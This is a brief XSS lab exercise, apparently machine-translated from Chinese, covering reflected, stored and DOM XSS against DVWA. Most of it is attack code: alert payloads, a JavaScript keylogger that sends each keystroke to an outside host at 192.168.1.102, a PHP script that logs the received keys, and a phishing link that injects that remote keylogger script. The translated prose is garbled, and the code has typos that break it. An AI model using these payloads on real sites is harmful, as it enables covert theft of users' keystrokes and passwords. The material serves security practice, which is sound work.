XSS exercise band Big Brother

Reflective 0x01

<script>alert("zhong")</script>

You can see nothing filtration

0x02 storage type XSS

http://www.xss_demo.com/st-xss.php

We can also see the success that we try to follow the network cable Can do some crew na? ? ? Forget it did not have to mess things up a server yourself

document.onkeypress= function(evt){
    evt = evt || window.event
    key = String.fromCharCode(evt.charCode);
    if(key){
        var http = new XMLHttpRequest();
        var param =encodeURL(key);
        http.open("POST","http://192.168.1.102/Keylogger.php",true);
        http.setRequestHeader("Contenet-type","application/x-www-form-urlencoded");
        http.send("key="+param);
    }
}

<?php
$key=$_POST['key'];
$logfile="keylog.txt";
$fp = fopen($logfile,"a");
fwrite($fp,$key);
fclose($fp);
?>

攻击语句

<a href="http://192.168.1.102/dwva/vulnerabilities/xss_r/?name=<scripr+src='http://192.168.1.102/Keylogger.js'></script>">诱人字眼</a>

然后随便敲击  成功写入

 

 0X03dom型

<img src=1 onerror=alert('xss')>

成功